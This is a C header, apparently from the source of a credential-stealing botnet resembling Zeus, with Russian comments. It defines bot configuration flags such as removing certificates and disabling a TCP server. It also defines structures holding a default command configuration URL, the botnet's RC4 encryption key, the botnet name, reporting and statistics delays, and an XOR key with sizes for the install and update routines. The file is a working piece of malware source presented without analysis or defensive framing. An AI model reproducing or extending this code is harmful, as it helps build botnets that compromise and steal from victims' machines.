#pragma once

//Autogenerated file!

enum
{
  BCF_02                = 0x00000001,
  BCF_09                = 0x00000002,
  BCF_01                = 0x00000004,
  BCF_21                = 0x00000008,
  BCF_DISABLE_TCPSERVER = 0x00000010,
  BCF_16                = 0x00000020,
  BCF_18                = 0x00000040,
  BCF_27                = 0x00000080,
  BCF_26                = 0x00000100,
  BCF_30                = 0x00000200,
  BCF_17                = 0x00000400,
  BCF_19                = 0x00000800,
  BCF_29                = 0x00001000,
  BCF_12                = 0x00002000,
  BCF_20                = 0x00004000,
  BCF_11                = 0x00008000,
  BCF_06                = 0x00010000,
  BCF_15                = 0x00020000,
  BCF_04                = 0x00040000,
  BCF_10                = 0x00080000,
  BCF_07                = 0x00100000,
  BCF_23                = 0x00200000,
  BCF_13                = 0x00400000,
  BCF_08                = 0x00800000,
  BCF_05                = 0x01000000,
  BCF_03                = 0x02000000,
  BCF_14                = 0x04000000,
  BCF_28                = 0x08000000,
  BCF_24                = 0x10000000,
  BCF_REMOVE_CERTS      = 0x20000000,
  BCF_25                = 0x40000000,
  BCF_22                = 0x80000000
};

typedef struct
{
  BYTE  padding0[80];
  DWORD flags;                               //Флаги BCF_*.
  BYTE  padding1[58];
  DWORD delayStats;                          //Данные задержок для отправки статистики.
  BYTE  padding2[91];
  char  defaultConfig[100 + 1];              //URL конфигурации по умолчанию.
  BYTE  padding3[7];
  Crypt::RC4KEY baseKey;                     //Ключ шифрования ботнета.
  BYTE  padding4[77];
  WCHAR defaultBotnet[BOTNET_MAX_CHARS + 1]; //Имя ботнета по умолчанию.
  BYTE  padding5[38];
  DWORD delayReport;                         //Данные задержок для отправки отчетов.
  BYTE  padding6[14];
  DWORD delayConfig;                         //Данные задержок для загрузки конфигурации.
  BYTE  padding7[21];
}BASECONFIG;

typedef struct
{
  DWORD xorKey;      //Ключ шифрования.
  DWORD installSize; //Размер CoreInstall::_install().
  DWORD updateSize;  //Размер CoreInstall::_update().
}INSTALLDATA;
